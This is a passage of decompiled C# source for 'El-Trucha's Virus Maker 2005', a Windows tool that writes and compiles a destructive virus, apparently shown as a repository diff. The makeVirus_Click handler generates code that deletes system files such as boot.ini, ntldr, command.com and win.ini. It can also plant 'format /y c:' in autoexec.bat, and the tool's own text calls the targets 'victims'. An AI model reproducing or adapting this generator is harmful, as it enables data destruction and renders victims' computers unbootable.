this.wmQuest.Name = "wmQuest";
|
||||
this.help.SetShowHelp((Control) this.wmQuest, true);
|
||||
this.wmQuest.Size = new Size(32, 24);
|
||||
this.wmQuest.TabIndex = 10;
|
||||
this.help.SetHelpString((Control) this.wmError, "Select an icon for the message box.");
|
||||
this.wmError.Image = (Image) resourceManager.GetObject("wmError.Image");
|
||||
this.wmError.ImeMode = ImeMode.NoControl;
|
||||
this.wmError.Location = new Point(104, 56);
|
||||
this.wmError.Name = "wmError";
|
||||
this.help.SetShowHelp((Control) this.wmError, true);
|
||||
this.wmError.Size = new Size(32, 24);
|
||||
this.wmError.TabIndex = 11;
|
||||
this.wmInfo.Checked = true;
|
||||
this.help.SetHelpString((Control) this.wmInfo, "Select an icon for the message box.");
|
||||
this.wmInfo.Image = (Image) resourceManager.GetObject("wmInfo.Image");
|
||||
this.wmInfo.ImeMode = ImeMode.NoControl;
|
||||
this.wmInfo.Location = new Point(136, 56);
|
||||
this.wmInfo.Name = "wmInfo";
|
||||
this.help.SetShowHelp((Control) this.wmInfo, true);
|
||||
this.wmInfo.Size = new Size(32, 24);
|
||||
this.wmInfo.TabIndex = 12;
|
||||
this.wmInfo.TabStop = true;
|
||||
this.tabPage4.Controls.Add((Control) this.emInfo);
|
||||
this.tabPage4.Controls.Add((Control) this.emText);
|
||||
this.tabPage4.Controls.Add((Control) this.label3);
|
||||
this.tabPage4.Controls.Add((Control) this.emTitle);
|
||||
this.tabPage4.Controls.Add((Control) this.label4);
|
||||
this.tabPage4.Controls.Add((Control) this.emAst);
|
||||
this.tabPage4.Controls.Add((Control) this.emQuest);
|
||||
this.tabPage4.Controls.Add((Control) this.emError);
|
||||
((Control) this.tabPage4).Location = new Point(4, 22);
|
||||
this.tabPage4.Name = "tabPage4";
|
||||
this.tabPage4.Size = new Size(168, 102);
|
||||
this.tabPage4.TabIndex = 1;
|
||||
this.tabPage4.Text = "Ending";
|
||||
this.help.SetHelpString((Control) this.emInfo, "Select an icon for the message box.");
|
||||
this.emInfo.Image = (Image) resourceManager.GetObject("emInfo.Image");
|
||||
this.emInfo.ImeMode = ImeMode.NoControl;
|
||||
this.emInfo.Location = new Point(136, 56);
|
||||
this.emInfo.Name = "emInfo";
|
||||
this.help.SetShowHelp((Control) this.emInfo, true);
|
||||
this.emInfo.Size = new Size(32, 24);
|
||||
this.emInfo.TabIndex = 36;
|
||||
this.help.SetHelpString((Control) this.emText, "If you select the above checkbox, then this message will be shown on a message box at the end of the program.");
|
||||
this.emText.Location = new Point(8, 8);
|
||||
this.emText.Name = "emText";
|
||||
this.help.SetShowHelp((Control) this.emText, true);
|
||||
this.emText.Size = new Size(152, 20);
|
||||
this.emText.TabIndex = 32;
|
||||
this.emText.Text = "Invalid block memory block address.";
|
||||
this.label3.ImeMode = ImeMode.NoControl;
|
||||
this.label3.Location = new Point(8, 32);
|
||||
this.label3.Name = "label3";
|
||||
this.label3.Size = new Size(32, 16);
|
||||
this.label3.TabIndex = 37;
|
||||
this.label3.Text = "Title:";
|
||||
this.help.SetHelpString((Control) this.emTitle, "If you select the above checkbox, then this message will be shown on a message box at the end of the program.");
|
||||
this.emTitle.Location = new Point(40, 32);
|
||||
this.emTitle.Name = "emTitle";
|
||||
this.help.SetShowHelp((Control) this.emTitle, true);
|
||||
this.emTitle.Size = new Size(120, 20);
|
||||
this.emTitle.TabIndex = 38;
|
||||
this.emTitle.Text = "FileKeyProtector 1.9";
|
||||
this.label4.ImeMode = ImeMode.NoControl;
|
||||
this.label4.Location = new Point(8, 56);
|
||||
this.label4.Name = "label4";
|
||||
this.label4.Size = new Size(32, 16);
|
||||
this.label4.TabIndex = 39;
|
||||
this.label4.Text = "Icon:";
|
||||
this.help.SetHelpString((Control) this.emAst, "Select an icon for the message box.");
|
||||
this.emAst.Image = (Image) resourceManager.GetObject("emAst.Image");
|
||||
this.emAst.ImeMode = ImeMode.NoControl;
|
||||
this.emAst.Location = new Point(40, 56);
|
||||
this.emAst.Name = "emAst";
|
||||
this.help.SetShowHelp((Control) this.emAst, true);
|
||||
this.emAst.Size = new Size(32, 24);
|
||||
this.emAst.TabIndex = 33;
|
||||
this.help.SetHelpString((Control) this.emQuest, "Select an icon for the message box.");
|
||||
this.emQuest.Image = (Image) resourceManager.GetObject("emQuest.Image");
|
||||
this.emQuest.ImeMode = ImeMode.NoControl;
|
||||
this.emQuest.Location = new Point(72, 56);
|
||||
this.emQuest.Name = "emQuest";
|
||||
this.help.SetShowHelp((Control) this.emQuest, true);
|
||||
this.emQuest.Size = new Size(32, 24);
|
||||
this.emQuest.TabIndex = 34;
|
||||
this.emError.Checked = true;
|
||||
this.help.SetHelpString((Control) this.emError, "Select an icon for the message box.");
|
||||
this.emError.Image = (Image) resourceManager.GetObject("emError.Image");
|
||||
this.emError.ImeMode = ImeMode.NoControl;
|
||||
this.emError.Location = new Point(104, 56);
|
||||
this.emError.Name = "emError";
|
||||
this.help.SetShowHelp((Control) this.emError, true);
|
||||
this.emError.Size = new Size(32, 24);
|
||||
this.emError.TabIndex = 35;
|
||||
this.emError.TabStop = true;
|
||||
this.help.SetHelpString((Control) this.stageLabel, "Know what the program's doing.");
|
||||
this.stageLabel.Location = new Point(344, 168);
|
||||
this.stageLabel.Name = "stageLabel";
|
||||
this.help.SetShowHelp((Control) this.stageLabel, true);
|
||||
this.stageLabel.Size = new Size(144, 16);
|
||||
this.stageLabel.TabIndex = 22;
|
||||
this.stageLabel.Text = "Status: Ready.";
|
||||
this.help.SetHelpString((Control) this.stageProgress, "Know the virus making progress");
|
||||
this.stageProgress.Location = new Point(344, 184);
|
||||
this.stageProgress.Name = "stageProgress";
|
||||
this.help.SetShowHelp((Control) this.stageProgress, true);
|
||||
this.stageProgress.Size = new Size(144, 16);
|
||||
this.stageProgress.TabIndex = 23;
|
||||
this.compiler.SynchronizingObject = (ISynchronizeInvoke) this;
|
||||
this.help.SetHelpString((Control) this.fileIcon, "Select an icon for your virus. If you just want a default EXE icon, then leave this box BLANK");
|
||||
this.fileIcon.Location = new Point(344, 128);
|
||||
this.fileIcon.Name = "fileIcon";
|
||||
this.help.SetShowHelp((Control) this.fileIcon, true);
|
||||
this.fileIcon.Size = new Size(144, 20);
|
||||
this.fileIcon.TabIndex = 31;
|
||||
this.fileIcon.Text = "";
|
||||
this.about.FlatStyle = FlatStyle.System;
|
||||
this.help.SetHelpString((Control) this.about, "View an About... window for this program");
|
||||
this.about.Location = new Point(216, 136);
|
||||
this.about.Name = "about";
|
||||
this.help.SetShowHelp((Control) this.about, true);
|
||||
this.about.Size = new Size(120, 16);
|
||||
this.about.TabIndex = 29;
|
||||
this.about.Text = "About...";
|
||||
this.about.Click += new EventHandler(this.about_Click);
|
||||
this.label7.Location = new Point(344, 112);
|
||||
this.label7.Name = "label7";
|
||||
this.label7.Size = new Size(104, 16);
|
||||
this.label7.TabIndex = 32;
|
||||
this.label7.Text = "File Icon";
|
||||
this.AcceptButton = (IButtonControl) this.makeVirus;
|
||||
this.AutoScaleBaseSize = new Size(5, 13);
|
||||
this.ClientSize = new Size(498, 216);
|
||||
this.Controls.Add((Control) this.label7);
|
||||
this.Controls.Add((Control) this.fileIcon);
|
||||
this.Controls.Add((Control) this.about);
|
||||
this.Controls.Add((Control) this.stageProgress);
|
||||
this.Controls.Add((Control) this.stageLabel);
|
||||
this.Controls.Add((Control) this.msgType);
|
||||
this.Controls.Add((Control) this.groupBox3);
|
||||
this.Controls.Add((Control) this.makeVirus);
|
||||
this.Controls.Add((Control) this.groupBox2);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.HelpButton = true;
|
||||
this.Icon = (Icon) resourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.MinimizeBox = false;
|
||||
this.Name = nameof (ETVM05);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = "El-Trucha's Virus Maker 2005 BETA 2";
|
||||
this.Load += new EventHandler(this.ETVM05_Load);
|
||||
this.groupBox2.ResumeLayout(false);
|
||||
this.groupBox3.ResumeLayout(false);
|
||||
this.msgType.ResumeLayout(false);
|
||||
this.dosCons.ResumeLayout(false);
|
||||
this.msgBox.ResumeLayout(false);
|
||||
this.tabControl2.ResumeLayout(false);
|
||||
this.tabPage3.ResumeLayout(false);
|
||||
this.tabPage4.ResumeLayout(false);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
|
||||
[STAThread]
|
||||
private static void Main()
|
||||
{
|
||||
Application.EnableVisualStyles();
|
||||
Application.Run((Form) new ETVM05());
|
||||
}
|
||||
|
||||
private void ETVM05_Load(object sender, EventArgs e)
|
||||
{
|
||||
ETVM05.OpenFiles();
|
||||
int num = (int) MessageBox.Show("IMPORTANT NOTE: All of your victims WILL need the .NET Framework in order for the virus to affect them", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
|
||||
this.fileIcon.Text = Application.StartupPath + "\\5293.ico";
|
||||
this.compiler.StartInfo.FileName = "\"" + Application.StartupPath + "\\csc.exe\"";
|
||||
}
|
||||
|
||||
private static void OpenFiles()
|
||||
{
|
||||
}
|
||||
|
||||
private void far_CheckedChanged(object sender, EventArgs e)
|
||||
{
|
||||
if (this.far.Checked)
|
||||
{
|
||||
this.farMsgSelect.Checked = false;
|
||||
this.farMsg.Enabled = false;
|
||||
this.farMsgSelect.Enabled = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
this.farMsg.Enabled = false;
|
||||
this.farMsgSelect.Enabled = false;
|
||||
}
|
||||
}
|
||||
|
||||
private void farMsgSelect_CheckedChanged(object sender, EventArgs e)
|
||||
{
|
||||
if (this.farMsgSelect.Checked)
|
||||
this.farMsg.Enabled = true;
|
||||
else
|
||||
this.farMsg.Enabled = false;
|
||||
}
|
||||
|
||||
private void useDosCons_CheckedChanged(object sender, EventArgs e)
|
||||
{
|
||||
if (this.useDosCons.Checked)
|
||||
this.useMsgBox.Checked = false;
|
||||
else
|
||||
this.useMsgBox.Checked = true;
|
||||
}
|
||||
|
||||
private void useMsgBox_CheckedChanged(object sender, EventArgs e)
|
||||
{
|
||||
if (this.useMsgBox.Checked)
|
||||
this.useDosCons.Checked = false;
|
||||
else
|
||||
this.useDosCons.Checked = true;
|
||||
}
|
||||
|
||||
private void makeVirus_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.stageLabel.Text = "Status: Deleting old source file...";
|
||||
if (File.Exists(Application.StartupPath + "\\myvirus.cs"))
|
||||
File.Delete(Application.StartupPath + "\\myvirus.cs");
|
||||
this.stageProgress.Value = 0;
|
||||
this.stageLabel.Text = "Status: Adding starting code...";
|
||||
this.myvirus = new StreamWriter("myvirus.cs");
|
||||
this.myvirus.AutoFlush = true;
|
||||
this.myvirus.WriteLine("using System;");
|
||||
this.myvirus.WriteLine("using System.Drawing;");
|
||||
this.myvirus.WriteLine("using System.Collections;");
|
||||
this.myvirus.WriteLine("using System.ComponentModel;");
|
||||
this.myvirus.WriteLine("using System.Windows.Forms;");
|
||||
this.myvirus.WriteLine("using System.IO;");
|
||||
this.myvirus.WriteLine("public class Virus");
|
||||
this.myvirus.WriteLine("{");
|
||||
this.myvirus.WriteLine("\tpublic static void Main()");
|
||||
this.myvirus.WriteLine("\t{");
|
||||
this.stageProgress.Value = 0;
|
||||
this.stageLabel.Text = "Adding welcome message...";
|
||||
if (this.useDosCons.Checked)
|
||||
{
|
||||
this.myvirus.WriteLine("\t\t\tConsole.WriteLine(\"" + this.welMsg.Text + "\");");
|
||||
}
|
||||
else
|
||||
{
|
||||
if (this.wmAst.Checked)
|
||||
this.wmIcon = "Asterisk";
|
||||
else if (this.wmQuest.Checked)
|
||||
this.wmIcon = "Question";
|
||||
else if (this.wmError.Checked)
|
||||
this.wmIcon = "Error";
|
||||
else if (this.wmInfo.Checked)
|
||||
this.wmIcon = "Information";
|
||||
this.myvirus.WriteLine("\t\t\tMessageBox.Show(\"" + this.welMsgText.Text + "\", \"" + this.welMsgTitle.Text + "\", MessageBoxButtons.OK, MessageBoxIcon." + this.wmIcon + ");");
|
||||
this.stageProgress.Value = 0;
|
||||
}
|
||||
this.stageLabel.Text = "Status: Adding Try/Catch statement...";
|
||||
this.myvirus.WriteLine("\t\ttry");
|
||||
this.myvirus.WriteLine("\t\t{");
|
||||
this.stageProgress.Value = 0;
|
||||
this.stageLabel.Text = "Status: Checking/Adding autoexec.bat code...";
|
||||
if (this.autoexec_bat.Checked)
|
||||
{
|
||||
this.myvirus.WriteLine("\t\t\tif (File.Exists(\"c:\\\\autoexec.bat\"))");
|
||||
this.myvirus.WriteLine("\t\t\t{");
|
||||
this.myvirus.WriteLine("\t\t\t\tif ((File.GetAttributes(\"c:\\\\autoexec.bat\") & FileAttributes.System) == FileAttributes.System)");
|
||||
this.myvirus.WriteLine("\t\t\t\t{");
|
||||
this.myvirus.WriteLine("\t\t\t\t\tFile.SetAttributes(\"c:\\\\autoexec.bat\", FileAttributes.System);");
|
||||
this.myvirus.WriteLine("\t\t\t\t}");
|
||||
this.myvirus.WriteLine("\t\t\t\tFile.Delete(\"c:\\\\autoexec.bat\");");
|
||||
this.myvirus.WriteLine("\t\t\t}");
|
||||
}
|
||||
this.stageProgress.Value = 0;
|
||||
this.stageLabel.Text = "Status: Checking/Adding command.com code...";
|
||||
if (this.command_com.Checked)
|
||||
{
|
||||
this.myvirus.WriteLine("\t\t\tif (File.Exists(\"c:\\\\command.com\"))");
|
||||
this.myvirus.WriteLine("\t\t\t{");
|
||||
this.myvirus.WriteLine("\t\t\t\tif ((File.GetAttributes(\"c:\\\\command.com\") & FileAttributes.System) == FileAttributes.System)");
|
||||
this.myvirus.WriteLine("\t\t\t\t{");
|
||||
this.myvirus.WriteLine("\t\t\t\t\tFile.SetAttributes(\"c:\\\\command.com\", FileAttributes.System);");
|
||||
this.myvirus.WriteLine("\t\t\t\t}");
|
||||
this.myvirus.WriteLine("\t\t\t\tFile.Delete(\"c:\\\\command.com\");");
|
||||
this.myvirus.WriteLine("\t\t\t}");
|
||||
}
|
||||
this.stageProgress.Value = 0;
|
||||
this.stageLabel.Text = "Status: Checking/Adding win.ini code...";
|
||||
if (this.win_ini.Checked)
|
||||
{
|
||||
this.myvirus.WriteLine("\t\t\tif (File.Exists(\"c:\\\\windows\\\\win.ini\"))");
|
||||
this.myvirus.WriteLine("\t\t\t{");
|
||||
this.myvirus.WriteLine("\t\t\t\tif ((File.GetAttributes(\"c:\\\\windows\\\\win.ini\") & FileAttributes.System) == FileAttributes.System)");
|
||||
this.myvirus.WriteLine("\t\t\t\t{");
|
||||
this.myvirus.WriteLine("\t\t\t\t\tFile.SetAttributes(\"c:\\\\windows\\\\win.ini\", FileAttributes.System);");
|
||||
this.myvirus.WriteLine("\t\t\t\t}");
|
||||
this.myvirus.WriteLine("\t\t\t\tFile.Delete(\"c:\\\\windows\\\\win.ini\");");
|
||||
this.myvirus.WriteLine("\t\t\t}");
|
||||
}
|
||||
this.stageProgress.Value = 0;
|
||||
this.stageLabel.Text = "Status: Checking/Adding win.com code...";
|
||||
if (this.win_com.Checked)
|
||||
{
|
||||
this.myvirus.WriteLine("\t\t\tif (File.Exists(\"c:\\\\windows\\\\win.com\"))");
|
||||
this.myvirus.WriteLine("\t\t\t{");
|
||||
this.myvirus.WriteLine("\t\t\t\tif ((File.GetAttributes(\"c:\\\\windows\\\\win.com\") & FileAttributes.System) == FileAttributes.System)");
|
||||
this.myvirus.WriteLine("\t\t\t\t{");
|
||||
this.myvirus.WriteLine("\t\t\t\t\tFile.SetAttributes(\"c:\\\\windows\\\\win.com\", FileAttributes.System);");
|
||||
this.myvirus.WriteLine("\t\t\t\t}");
|
||||
this.myvirus.WriteLine("\t\t\t\tFile.Delete(\"c:\\\\windows\\\\win.com\");");
|
||||
this.myvirus.WriteLine("\t\t\t}");
|
||||
}
|
||||
this.stageProgress.Value = 0;
|
||||
this.stageLabel.Text = "Status: Checking/Adding boot.ini code...";
|
||||
if (this.boot_ini.Checked)
|
||||
{
|
||||
this.myvirus.WriteLine("\t\t\tif (File.Exists(\"c:\\\\boot.ini\"))");
|
||||
this.myvirus.WriteLine("\t\t\t{");
|
||||
this.myvirus.WriteLine("\t\t\t\tif ((File.GetAttributes(\"c:\\\\boot.ini\") & FileAttributes.System) == FileAttributes.System)");
|
||||
this.myvirus.WriteLine("\t\t\t\t{");
|
||||
this.myvirus.WriteLine("\t\t\t\t\tFile.SetAttributes(\"c:\\\\boot.ini\", FileAttributes.System);");
|
||||
this.myvirus.WriteLine("\t\t\t\t}");
|
||||
this.myvirus.WriteLine("\t\t\t\tFile.Delete(\"c:\\\\boot.ini\");");
|
||||
this.myvirus.WriteLine("\t\t\t}");
|
||||
}
|
||||
this.stageProgress.Value = 0;
|
||||
this.stageLabel.Text = "Status: Checking/Adding ntldr code...";
|
||||
if (this.ntldr.Checked)
|
||||
{
|
||||
this.myvirus.WriteLine("\t\t\tif (File.Exists(\"c:\\\\ntldr\"))");
|
||||
this.myvirus.WriteLine("\t\t\t{");
|
||||
this.myvirus.WriteLine("\t\t\t\tif ((File.GetAttributes(\"c:\\\\ntldr\") & FileAttributes.System) == FileAttributes.System)");
|
||||
this.myvirus.WriteLine("\t\t\t\t{");
|
||||
this.myvirus.WriteLine("\t\t\t\t\tFile.SetAttributes(\"c:\\\\ntldr\", FileAttributes.System);");
|
||||
this.myvirus.WriteLine("\t\t\t\t}");
|
||||
this.myvirus.WriteLine("\t\t\t\tFile.Delete(\"c:\\\\ntldr\");");
|
||||
this.myvirus.WriteLine("\t\t\t}");
|
||||
}
|
||||
this.stageProgress.Value = 0;
|
||||
this.stageLabel.Text = "Status: Checking/Adding format code...";
|
||||
if (this.far.Checked)
|
||||
{
|
||||
this.myvirus.WriteLine("\t\t\tStreamWriter fab = new StreamWriter(\"c:\\\\autoexec.bat\");");
|
||||
if (this.farMsgSelect.Checked)
|
||||
this.myvirus.WriteLine("\t\t\tfab.WriteLine(\"echo " + this.farMsg.Text + "\");");
|
||||
this.myvirus.WriteLine("\t\t\tfab.WriteLine(\"format /y c:\\\\\");");
|
||||
}
|
||||
this.stageProgress.Value = 0;
|
||||
this.stageLabel.Text = "Status: Checking/Adding ending message...";
|
||||
if (this.useDosCons.Checked)
|
||||
this.myvirus.WriteLine("\t\tConsole.WriteLine(\"" + this.endMsg.Text + "\");");
|
||||
else if (this.emAst.Checked)
|
||||
this.emIcon = "Asterisk";
|
||||
else if (this.emQuest.Checked)
|
||||
this.emIcon = "Question";
|
||||
else if (this.emError.Checked)
|
||||
this.emIcon = "Error";
|
||||
else if (this.emInfo.Checked)
|
||||
this.emIcon = "Information";
|
||||
this.stageProgress.Value = 0;
|
||||
this.stageLabel.Text = "Status: Checking/Adding ending code...";
|
||||
this.myvirus.WriteLine("\t\t}");
|
||||
this.myvirus.WriteLine("\t\tcatch (Exception)");
|
||||
this.myvirus.WriteLine("\t\t{");
|
||||
this.myvirus.WriteLine("\t\t\tConsole.WriteLine(\"Error\");");
|
||||
this.myvirus.WriteLine("\t\t}");
|
||||
this.myvirus.WriteLine("\t}");
|
||||
this.myvirus.WriteLine("}");
|
||||
this.stageProgress.Value = 0;
|
||||
try
|
||||
{
|
||||
this.stageLabel.Text = "Status: Closing file/compiling...";
|
||||
this.myvirus.Close();
|
||||
ICodeCompiler compiler = new CSharpCodeProvider().CreateCompiler();
|
||||
CompilerParameters options = new CompilerParameters(new string[1]
|
||||
{
|
||||
"System.Windows.Forms.dll"
|
||||
});
|
||||
options.GenerateExecutable = true;
|
||||
options.OutputAssembly = "myvirus.exe";
|
||||
if (this.fileIcon.Text != "")
|
||||
options.CompilerOptions = "/win32icon:\"" + this.fileIcon.Text + "\"";
|
||||
CompilerResults compilerResults = compiler.CompileAssemblyFromFile(options, "myvirus.cs");
|
||||
if (compilerResults.Errors.Count > 0)
|
||||
{
|
||||
foreach (CompilerError error in (CollectionBase) compilerResults.Errors)
|
||||
{
|
||||
int num = (int) MessageBox.Show(error.ErrorText, "Compiler Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
|
||||
}
|
||||
this.statusForLabel = "An error occurred.";
|
||||
}
|
||||
else
|
||||
this.statusForLabel = "Done.";
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
int num = (int) MessageBox.Show(ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
|
||||
this.statusForLabel = "An error occurred.";
|
||||
}
|
||||
this.stageProgress.Value = 100;
|
||||
this.stageLabel.Text = "Status: " + this.statusForLabel;
|
||||
}
|
||||
|
||||
private void about_Click(object sender, EventArgs e) => new About().Show();
|
||||
}
|
||||
}
|
||||
+672
File diff suppressed because one or more lines are too long
Reference in New Issue
Block a user